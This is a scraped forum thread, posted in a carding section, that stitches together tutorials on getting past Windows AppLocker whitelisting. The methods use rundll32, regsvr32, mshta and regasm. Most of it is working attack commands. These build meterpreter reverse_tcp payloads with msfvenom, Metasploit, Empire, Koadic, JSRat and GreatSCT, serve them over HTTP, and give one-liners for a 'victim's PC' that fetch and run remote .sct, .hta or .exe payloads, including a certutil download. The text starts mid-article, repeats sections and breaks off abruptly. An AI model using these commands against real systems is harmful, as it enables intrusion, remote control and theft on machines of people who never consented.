![[Image: 8.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-e3rl1xYZDSY/XEwLmdfSNyI/AAAAAAAAcZI/3TBu_1yN0iUvEKSFwFQHdZJ7JDjVchSWACLcBGAs/s1600/8.png?w=687)
Now, firstly, start the python’s server in /usr/share/greatsct-output/source by typing:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 9.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-LmGUvASB8nI/XEwLm8I5GmI/AAAAAAAAcZM/Bat9npdz758uZRovRaEpf6pRNhpLcinMgCLcBGAs/s1600/9.png?w=687)
Now execute the hta file in the command prompt of the victim’s PC.
mshta.exe //192.168.1.107/payload.hta
1
mshta.exe //192.168.1.107/payload.hta
![[Image: 10.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-hOYV3b8d_-8/XEwLhOkeYnI/AAAAAAAAcXs/D6YSSWMh6qc-erPHwAW7mHIt1ay5iUApgCLcBGAs/s1600/10.png?w=687)
Simultaneously, start the multi/handler using the resource file. For this, type:
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
1
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
And voila! You have your session.
Visit here “[To see content please register here] ” to learn more about mshta.exe techniques.
![[Image: 11.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-01d4uflJQ8E/XEwLhAbHxWI/AAAAAAAAcXo/jyO_iSMRb1cobYwCEMcApBOX7hvdf3m3ACLcBGAs/s1600/11.png?w=687)
Generate malicious sct file
Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use :
use regsvr32/shellcode_inject/base64_migrate.py
1
use regsvr32/shellcode_inject/base64_migrate.py
![[Image: 20.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-avt3iGirv1c/XEwLiFzZnzI/AAAAAAAAcX4/IO1pctn_HiUoC5d2Hsu2O-yqDG9b1gOxwCLcBGAs/s1600/20.png?w=687)
Once the command is executed, type :
generate
1
generate
![[Image: 21.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-9uSYaApk_FE/XEwLiFdEBuI/AAAAAAAAcX8/mLqDhItQgmUda9RNknz-8PRrbagFx_X2ACLcBGAs/s1600/21.png?w=687)
Then it will ask you for payload. Just press enter as it will take windows/meterpreter/reverse_tcp as a default payload and that is the one we need. After that provide IP like here we have given 192.168.1.107 and the given port (any) as here you can see in the image below that we have given lport as 2345
![[Image: 23.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-9Yrlffq9wxI/XEwLitKyCxI/AAAAAAAAcYA/qNDewOYsl4wINaeP56WnfcNM6QhzOPEOQCLcBGAs/s1600/23.png?w=687)
After giving the details, it will ask you name for your malware. By default, it will set name ‘payload’ so either you can give the name or just press enter for the default settings.
![[Image: 24.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-D0z7vDAlmz4/XEwLivIXkMI/AAAAAAAAcYE/UWWYHk_QGpkZhUT4v1lBQaByLXlmCUxaQCLcBGAs/s1600/24.png?w=687)
And just as you press enter it will generate two files. One of them will a resource file and others will be .sct file. Now start the python’s server in /usr/share/greatsct-output/source by typing:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 26.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-3NkoHn1s2_Y/XEwLjF8ph3I/AAAAAAAAcYM/yEEQnp4u24oaln_epsQeIjsEtm2214l-gCLcBGAs/s1600/26.png?w=687)
Now execute the .sct file in the run window of the victim’s PC as shown below
regsvr32.exe /s /u /n /i://192.168.1.107/payload.sct
1
regsvr32.exe /s /u /n /i://192.168.1.107/payload.sct
![[Image: 27.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-P-koVgqQoQ4/XEwLjEgoNYI/AAAAAAAAcYQ/bDpQyOScWxMbBqGGUMUlk3IiSCVTeL2yQCLcBGAs/s1600/27.png?w=687)
Simultaneously, start the multi/handler using the resource file. For this, type:
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
1
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
And voila! You have your session.
Visit here “[To see content please register here] ” to learn more about mshta.exe techniques.
![[Image: 28.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-d5UqIUZt1iY/XEwLjXFlWNI/AAAAAAAAcYU/0slmCDuwt2gvFUlimWDm-VGJpMayZSQNgCLcBGAs/s1600/28.png?w=687)
Generate malicious dll file
Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use :
use regasm/meterpreter/rev_tcp.py
1
use regasm/meterpreter/rev_tcp.py
![[Image: 29.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-a6ul0QnHVKU/XEwLjx5AU-I/AAAAAAAAcYY/dU193gqOTXgiYAvr8bZATqgrcu9InlyfgCLcBGAs/s1600/29.png?w=687)
Once the command is executed, type:
set lhost 192.168.1.107
generate
1
2
set lhost 192.168.1.107
generate
![[Image: 30.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-NF4-G2oaGU0/XEwLkdXCGyI/AAAAAAAAcYg/6cDQmrrUYFAQI1kKLY3MV1o77uG_5FkUwCLcBGAs/s1600/30.png?w=687)
After giving the details, it will ask you a name for your malware. By default, it will set name ‘payload’ so either you can give the name or just press enter for the default settings.
![[Image: 31.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-rqFCC5IZxc4/XEwLkXqrWgI/AAAAAAAAcYk/4m7B2VWny8QO-7WNuGOXBO06niDYoqswwCLcBGAs/s1600/31.png?w=687)
And just as you press enter it will generate dll files.
![[Image: 32.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-TT2GzTye608/XEwLkhP5thI/AAAAAAAAcYo/9xWZEm_rRj8zan1DylXEUCfHRbHcmmLZACLcBGAs/s1600/32.png?w=687)
Now start the python’s server in /usr/share/greatsct-output/compiled by typing:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 33.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-9fE0FGnCleM/XEwLk5feK1I/AAAAAAAAcYs/GvUbVLXptsQspnbvTn7Xump4bzoPdOCVgCLcBGAs/s1600/33.png?w=687)
Now place above generated dll file inside : C:\Windows\Microsoft.NET\Framework\v4.0.30319\v4.0.30319\ and then execute the .dll file in the run window of the victim’s PC as shown below:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll
1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll
![[Image: 34.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-73HLQwee46s/XEwLlGeuw0I/AAAAAAAAcYw/vnfkz6mIlfUUCw5ICpG9_DfEyMm6I1pegCLcBGAs/s1600/34.png?w=687)
Simultaneously, start the multi/handler using the resource file. For this, type:
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
1
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
And voila! You have your session.
|
|
|
|
| [Guide] How to Bypass Application Whitelisting using rundll32.exe (Multiple Methods) |
|
Posted by: NINZA - 05-14-2020, 11:19 AM - Forum: Carders Home
- No Replies
|
 |
This article demonstrates the most common and familiar techniques of whitelisting AppLocker bypass. As we know for security reason the system admin add group policies to restrict app execution for a local user. In our previous article, we had discussed on “Windows Applocker Policy – A Beginner’s Guide” as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with RunDLL files.
Tables of Content
- Introduction
- Working of DLL files
- Advantages
- Disadvantages
- Different methods for AppLocker Bypass using DLL files
- Conclusion
Introduction
DLL files are very Important for window’s OS to work and it also determines the working of other programs that customize your windows. Dynamic Link Library (DLL) files are the type of file which provides instructions to other programs on how to call upon certain things. Therefore, multiple software’s can share such DLL files, even simultaneously. In spite of being in the same format as a .exe file, DLL files are not directly executable like .exe files. DLL file extensions can be : .dll (Dynamic Link Library), .OCX (ActiveX Controls), .CPL (Control Panel), .DRV (Device Drivers).
Working
When in use, DLL files are divided into sections. This makes the working of DLL files easy and faster. Each section is installed in the main program at run time. As each section is different and independent; load time is faster and is only done when the functionality of the said file is required. This ability also makes upgrades easier to apply without affecting other sections. For example, you have a dictionary program and new words are added every month, so for this, all you have to do is update it; without requiring to install a whole another program for it.
Advantages- Uses fewer resources
- Promotes modular architecture
- Eases deployment and installation
Disadvantages- A dependent DLL is upgraded to a new version.
- A dependent DLL is fixed.
- A dependent DLL is overwritten with an earlier version.
- A dependent DLL is removed from the computer.
Methods - Smb_Delivery
- MSFVenom
- Koadic
- Get-Command Prompt via cmd.dll
- JSRat
SMB Delivery
So, our method is using smb_delivery. To use this method, open the terminal in kali and type the following commands ;
msfconsole
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.107
msf exploit(windows/smb/smb_delivery) > exploit
1
2
3
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.107
msf exploit(windows/smb/smb_delivery) > exploit
Now run the malicious code through rundll32.exe in the windows machine to obtain meterpreter sessions.
![[Image: 1.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-gx3QGhSxS6s/XEmsiOdFurI/AAAAAAAAcWI/Nsq5HsYfLYw3bfeNyO-5CVqsdf0YBVxdACLcBGAs/s1600/1.png?w=687)
As the above exploit will run, it will provide you with a command that is to be executed on the victim’s PC; in order to get a session. So copy and paste the given command in the run window of the victim’s PC as shown in the image below:
rundll32.exe \\192.168.1.107\ZtmW\test.dll,0
1
rundll32.exe \\192.168.1.107\ZtmW\test.dll,0
![[Image: 2.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-qvaHJInvIyY/XEmsknaxUHI/AAAAAAAAcWo/2SlYISXH-FYUyfeere1XksN8DDlQHI3MACLcBGAs/s1600/2.png?w=687)
As soon as the command is executed, you will have your meterpreter session. To access the session type :
sessions 1
sysinfo
1
2
sessions 1
sysinfo
![[Image: 3.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-vKL3mgvE7xU/XEmslNUar8I/AAAAAAAAcWw/Ta20l9xG5iESlRLmF4o1Vuz0N7eBpaMNwCLcBGAs/s1600/3.png?w=687)
MSFVenom
Our second method is via MSFVenom. For the utilization of this method, type the following command in the terminal of kali :
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f dll > 1.dll
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f dll > 1.dll
![[Image: 4.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-62xSzKubBSE/XEmslc235WI/AAAAAAAAcW4/Ciasn3Fh7ywzpkeZXazDZey1FjBXC3qrgCLcBGAs/s1600/4.png?w=687)
Once the payload is created, run the following command in the run window of victim’s PC:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\1.dll
1
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\1.dll
![[Image: 5.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-cu1XQKE4mN8/XEmslaZ1rLI/AAAAAAAAcW0/wlZ_ynplYTsSOPUHPp3_E31TvIHHmCSbQCLcBGAs/s1600/5.png?w=687)
Simultaneously, start the multi/handler to get a session by typing :
msfconsole
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.107
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
1
2
3
4
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.107
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
![[Image: 6.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-JnMvQbp6PmE/XEmslzMjppI/AAAAAAAAcW8/c8d_QMBoSO0QcC5UhSldtCdDUGPxVZiygCLcBGAs/s1600/6.png?w=687)
Koadic
Our next method is using Koadic framework. Koadic is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. To know more about Koadic please read our detailed articled on the said framework through this link: [To see content please register here]
Once the koadic is up and running, type:
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
run
1
2
3
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
run
![[Image: 8.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-VNp3QnnT5VE/XEmsmbXrW6I/AAAAAAAAcXA/ccRTnT4vHQoROCOyKheP1UMyVJXFo6GFgCLcBGAs/s1600/8.png?w=687)
Running the exploit will give you a command. Copy that command from rundll32.exe to 6.0”) and paste it in the command prompt of the victims’ PC.
Once you run the command in the cmd, you will have your session. As shown in the following image.
To access the session type :
zombies 0
1
zombies 0
![[Image: 9.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-4O5zRmZ1-fo/XEmsmR0cuEI/AAAAAAAAcXE/lrF6lWSEhAo9CVI3hzH6vk_FbuE0LKtSQCLcBGAs/s1600/9.png?w=687)
Get-Command Prompt via cmd.dll
Now the dilemma is, what to do if the command prompt is blocked in victim’s PC.
![[Image: 10.1.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-K8r7AOOvK98/XEmsiG-KlUI/AAAAAAAAcWQ/e7bz0noIBvYAOiurVbOpFgjnPCsC0a4sgCLcBGAs/s1600/10.1.png?w=687)
If the command line is blocked, there is script developed by Didier Stevens which you can use to solve your little problem. You can find them in the following link :
[To see content please register here]
In the above URL, you will download a zip file. Extract that zip file and use the following command to run the said file in run windows:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll
1
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll
![[Image: 10.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-HR4sdzqTbys/XEmsiJtkVQI/AAAAAAAAcWM/VRyj5vFcMO0IpLEh-ccceD5wOrXYpb6zQCLcBGAs/s1600/10.png?w=687)
As soon as you run the command, you will have an unblocked the cmd. As shown below:
![[Image: 11.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-ReQUO-bM1BE/XEmsjBG38AI/AAAAAAAAcWU/83uZDt06rX8SHLWTYCqjlg0wA1e45K4XACLcBGAs/s1600/11.png?w=687)
JSRat
Our next method of attacking regsvr32 is by using JSRat and you can download it from [To see content please register here] . This is another command and control framework just like koadic and Powershell Empire for generating malicious task only for rundll32.exe and regsvr32.exe. JSRat will create a web server and on that web server, we will find our .js file. To use this method type:
./JSRat.py -i 192.168.1.107 -p 4444
1
./JSRat.py -i 192.168.1.107 -p 4444
![[Image: 12.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-T1_Uj9FrEUo/XEmsjSla4RI/AAAAAAAAcWY/Myk-0Vh9-50tLhaKb3cIyDI-4h3yR8mLgCLcBGAs/s1600/12.png?w=687)
Once JSRat starts working, it will give you a link to open in the browser. That web page will have a code which is to be executed on the victim’s pc.
![[Image: 13.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-Jnjc5I3uCjs/XEmsjQmLjVI/AAAAAAAAcWc/yodpAmfl3OMUXyFU2ft3E50-7yU5YIRsACLcBGAs/s1600/13.png?w=687)
Therefore, open the //192.168.1.107/wtf link in your browser. There you will find the said code as shown in the image below:
![[Image: 14.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-gTua884nNOI/XEmsj-aa2hI/AAAAAAAAcWg/h5g_4TQh05YxSN2Ye7IuXgmcHOMu7T9_gCLcBGAs/s1600/14.png?w=687)
Run that code in the command prompt of the victims’ PC as shown:
![[Image: 15.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-Jt7ToE30boM/XEmskaRuY6I/AAAAAAAAcWk/NqohrbDteqM9AZ6RDzirPBSgFdZgfUIAgCLcBGAs/s1600/15.png?w=687)
And voila, you will have a session as the image below:
![[Image: 16.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-9uGncDXHfdI/XEmsknkxdeI/AAAAAAAAcWs/-9-xWvPP8JAclyUJEzt5hnMc3sPQ3GPZwCLcBGAs/s1600/16.png?w=687)
Conclusion
DLL files are a collection of various codes and procedure held together. These files help windows programs to execute accurately. These files were created for multiple programs to use them simultaneously. This technique helps in memory conservation. Therefore these files are important and required by windows to run properly without giving users any kind of problems. Hence, exploitation through such files is very efficient and lethal. And above-presented methods are different ways to do it.
The purpose to write this post is to demonstrate the most common and familiar techniques of whitelisting AppLocker bypass. As we know for security reason the system admin add group policies to restrict app execution for a local user. In our previous article, we had discussed on “[To see content please register here] ” as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with regsvr32.exe.
Tables of Content- Introduction to regsvr
- Working of regsvr
- Multiple methods to attack regsvr
Introduction
Regsvr32 stands for Microsoft Register Server. It is the windows’ command-line utility tool. While regsvr32 causes problems sometimes; it’s an important file as its windows system file. The file is found in the subfolder of C:\Windows. This file is able to observe, track and influence other programs. It’s mainly used to register and unregister programs in windows file extension for this is .exe and its process widely assists OLE (Object Linking and Embedding), DLL (Data Link Libraries) and OCX (ActiveX control modules). The said process works in the background and can be seen with a task manager. Its Microsoft’s one of the trusted files.
Working
Information about programs associated with regsvr32 is added to windows when you register a DLL file in regsvr32. These defenses are then accessed to understand where the program data is and how to interact with it. While registering a DLL file, information is added to central the directory so that it can be used by the windows. The whole path of these files literally has the executable code and due to these files windows can call upon specific functions. These files are very convenient as when software is updated, these files automatically call upon the updated version; in short, it helps avoid the version problems of software. Usually, this file is not commonly used except for registering and unregistering DLL files.
RegSvr32.exe has the following command-line options:
Syntax: Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>
/u – Unregister server
/i – Call DllInstall passing it an optional [cmdline]; when it is used with /u, it calls to dll uninstall
/n – do not call DllRegisterServer; this option must be used with /i
/s – Silent; display no message boxes
To know more about it, visit here: //support.microsoft.com/en-us/help/249873/how-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messages
Multiple Methods- Web delivery
- Empire
- Manual
- MSFVenom
- Koadic
- JSRat
- GreatSCT
Web Delivery
This module quickly fires up a web server that serves a payload. The provided command will allow for a payload to download and execute. It will do it either through specified scripting language interpreter or “squiblydoo” via regsvr32.exe for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. Command Injection.
Regsvr32 uses the “squiblydoo” technique for bypassing application whitelisting. The signed Microsoft binary file, Regsvr32, is able to request a .sct file and then execute the included PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. “PSH (Binary)” will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit
Copy the highlighted text shown in the image below:
![[Image: 1.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-3PrIBqXGS2w/XEg1su-xxNI/AAAAAAAAcTg/KdveMpRMsAgDUaMohitUUZgGnIeiTLZZgCEwYBhgL/s1600/1.png?w=687)
Once the exploit is running; you will have a URL made for you. Run that URL in the command prompt of the Victim’s PC as shown below:
regsvr32 /s /n /u /i://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll
1
regsvr32 /s /n /u /i://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll
![[Image: 2.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-E0E3sCmvrzA/XEg1ukhqnZI/AAAAAAAAcUI/oph6qWtkHLICLjKHXIooqrBj10NKJdh8ACEwYBhgL/s1600/2.png?w=687)
Once you hit enter after the command, you will have your session. Type ‘sysinfo’ for the information of the PC as shown in the image below:
![[Image: 3.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-h327CvcMLWE/XEg1w4e9FpI/AAAAAAAAcUw/P221xjRSKSMQcl4ulrTZ07zjI0UYwwjxQCEwYBhgL/s1600/3.png?w=687)
PowerShell Empire
For our next method of regsvr Attack, we will use empire. Empire is a post-exploitation framework. Till now we have to pair our .sct tacks with Metasploit but in this method, we will use the empire framework. It’s solely python based PowerShell windows agent which make it quite useful. Empire is developed by [To see content please register here] , [To see content please register here] , [To see content please register here] , [To see content please register here] , [To see content please register here] , and [To see content please register here] . You can download this framework from [To see content please register here] .
To have a basic guide of Empire, please visit our article introducing empire: [To see content please register here]
Once the empire framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener, type :
uselistner http
set Host //192.168.1.109
execute
1
2
3
uselistner http
set Host //192.168.1.109
execute
With the above commands, you will have an active listener. Type back to go out of listener so you can initiate your PowerShell.
![[Image: 4.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-sEnwfIKiiaA/XEg1ym7NkLI/AAAAAAAAcVM/IiMZT1ORBbAo_-DAzLnIPoApgYXDJ-ihACEwYBhgL/s1600/4.png?w=687)
Once you are out the listener, you need to use an exploit to create your malicious file. A stager, in the empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. Which means to create an exploit, we will have to usestager. Therefore, type :
usestager windows/launcher_sct
set listener http
execute
1
2
3
usestager windows/launcher_sct
set listener http
execute
After the execution of executing the command, usestager will create a launcher.sct in /tmp. Now to get session start the python server by typing:
python -m SimpleHTTPServer 8080
1
python -m SimpleHTTPServer 8080
As the server is on, the only step left is to execute our malware in the victim’s PC. For this, type the following command in the command prompt :
regsvr /s /n /u /i://192.168.1.109:8080/tmp/launcher.sct scrobj.dll
1
regsvr /s /n /u /i://192.168.1.109:8080/tmp/launcher.sct scrobj.dll
In the above command, we have used port 8080 because our server of python is activated on the same port.
![[Image: 5.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-HxWqVM2_oZ4/XEg1y-r4qKI/AAAAAAAAcVQ/EGn6Wu9cyREOYYVp4ioQv9Lu9iWpWgfLwCEwYBhgL/s1600/5.png?w=687)
Once the above is executed as told, you will receive a session. To access the session type :
interact 9ATUX4M7
1
interact 9ATUX4M7
9ATUX4M7: is an agent/session name. this will vary from session to session.
Inject PowerShell code in sct File (Manual Method)
Our next method manual with a help of an exploit. The exploit we will use will help us to create a powershell code. So let’s first create our powershell and for this go to the terminal of kali and type
After running this exploit, it will show you the powershell code on the terminal screen as shown in the following image :
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit
Copy the highlighted text shown in below:
![[Image: 6.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-CoiRfBCdv04/XEg1zc1muTI/AAAAAAAAcVY/46vfvVBkCq8zFF_yu0O4IOP0qbwQQfggACEwYBhgL/s1600/6.png?w=687)
Regsvr32 is a command-line utility to register and unregister OLE controls, such as DLLs and ActiveX controls in the Windows Registry. Regsvr32.exe is installed in the %systemroot%\System32 folder in Windows XP and later versions of Windows.
Now we need to create a .sct file in order for our attack to run. We found a script online to create a .sct file. You can access the link for the script by clicking [To see content please register here] . The script is shown in the image below :
![[Image: 7.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-4nPy2avK66g/XEg1zCGa51I/AAAAAAAAcVU/rfcQoo8j4vUjMkcOnwXqndnnzK_1m6kwACEwYBhgL/s1600/7.png?w=687)
Copy the PowerShell code which was created by web_delivery and paste it in the above script where it says “calc.exe” as shown in the image below and then finally save it with .sct extension.
![[Image: 8.1.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-MJiHjLqpNpM/XEg1zo7FztI/AAAAAAAAcVc/lMsTPChYF7oCav7w14Z87TBhT-s9v40uQCEwYBhgL/s1600/8.1.png?w=687)
Then just like before, run the following command to execute the .sct file with regsvr32.exe in the victim’s PC:
regsvr32 /u /n /s /i://192.168.1.109/1.sct scrobj.dll
1
regsvr32 /u /n /s /i://192.168.1.109/1.sct scrobj.dll
![[Image: 8.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-Vaxi32A-G9A/XEg1zoaBwOI/AAAAAAAAcVg/VpBDCqTmrkEvPwkxqUy6xv-d4rTN2h1sACEwYBhgL/s1600/8.png?w=687)
As soon as the above command is executed, you will have your session through web_delivery. To access the session type ‘sessions 1’ and ‘info’ to have basic information about the system.
![[Image: 9.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-Az_kKtl-qV4/XEg1z1zOq9I/AAAAAAAAcVk/NISKrN97CAY34OZybDZDIDJVT0Ota9ngACEwYBhgL/s1600/9.png?w=687)
MsfVenom
Our next method is to use msfvenom. Through this method, we will create two .sct files, one to download our malware and another to execute it. But first let’s get going with msfvenom and for that type :
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe
![[Image: 10.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-u0Mu1tr4QtY/XEg1sunEvBI/AAAAAAAAcTk/yf9BILzoH9M6NJHJACcg7X57qioMJBEtACEwYBhgL/s1600/10.png?w=687)
Start up the python server using the following command:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
And simultaneously, in the same script, used in the previous method inject a certutil.exe command to call the shell.exe file from remote server. Therefore, instead of “calc .exe” write the following and save file again with .sct extension:
certutil.exe -urlcache -split -f //192.168.1.109/shell.exe
1
certutil.exe -urlcache -split -f //192.168.1.109/shell.exe
We have used certutil here as it allows to download a file in windows and also saved the file as 3.sct.
![[Image: 11.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-G2pubZ7dVSg/XEg1stcj-KI/AAAAAAAAcTo/0M8k7MkzpwI_NKYhaNroW02jI_Wfo9wXwCEwYBhgL/s1600/11.png?w=687)
Now, run the above script using the following command:
regsvr32 /u /n /s /i:http;//192.168.1.109/3.sct scrobj.dll
1
regsvr32 /u /n /s /i:http;//192.168.1.109/3.sct scrobj.dll
![[Image: 12.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-bkv7CyRCw60/XEg1tJVOQoI/AAAAAAAAcTs/nwfSHLntYuwIEc4RzrP_fUT5KFrLm6vewCEwYBhgL/s1600/12.png?w=687)
We will create another file to execute our previous file “shell.exe”. For that again take the same script and where its written “calc.exe”; therefore write :
cmd /k cd c:\Users\raj & shell.exe
1
cmd /k cd c:\Users\raj & shell.exe
![[Image: 13.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-Ka6ggMmVD7s/XEg1tVzCvHI/AAAAAAAAcTw/HpFDcnEfZCUsKBDbFoRf4U9Anq8G6THrwCEwYBhgL/s1600/13.png?w=687)
This we have saved the script as 4.sct and again run this script using the following command :
regsvr32 /u /n /s /i:http;//192.168.1.109/4.sct scrobj.dll
1
regsvr32 /u /n /s /i:http;//192.168.1.109/4.sct scrobj.dll
![[Image: 14.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-18AYz4WtuCU/XEg1tfR0H0I/AAAAAAAAcT0/seiYVHqOUz4ABAGqpXxfDjxYEJPgvS6EACEwYBhgL/s1600/14.png?w=687)
Simultaniously, start up the multi handler too, to get a session. Hence, type :
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
After running the command in the victim’s PC, u will have a meterpreter session.
![[Image: 15.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-6dS79rgvfJQ/XEg1tztqMHI/AAAAAAAAcT4/UmwPW8VjJlAtLrMSHuxa6Tn5-w6yFYc8wCEwYBhgL/s1600/15.png?w=687)
Koadic
Our next method is using Koadic. Koadic is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. To know more about Koadic please read our detailed articled on the said framework through this link: [To see content please register here]
Once the koadic is up and running, type:
use stager/js/regsvr
set srvhost 192.168.1.107
run
1
2
3
use stager/js/regsvr
set srvhost 192.168.1.107
run
![[Image: 17.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-yZ3So6l6RBY/XEg1uNBUJbI/AAAAAAAAcT8/EGj90aOj-EocNpdZODWKl-qmWTiQtia3wCEwYBhgL/s1600/17.png?w=687)
After this, type the following in the command prompt of the victim’s PC:
regsvr32 /u /n /s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll
1
regsvr32 /u /n /s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll
Once you run the above command, you will have a session. To access the session type :
zombies 0
1
zombies 0
![[Image: 18.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/--BXOIKaYycI/XEg1uOzXkSI/AAAAAAAAcUA/xxxIcvAOvEQFcBYjpIbM0bg51_Y171fCgCEwYBhgL/s1600/18.png?w=687)
JSRat
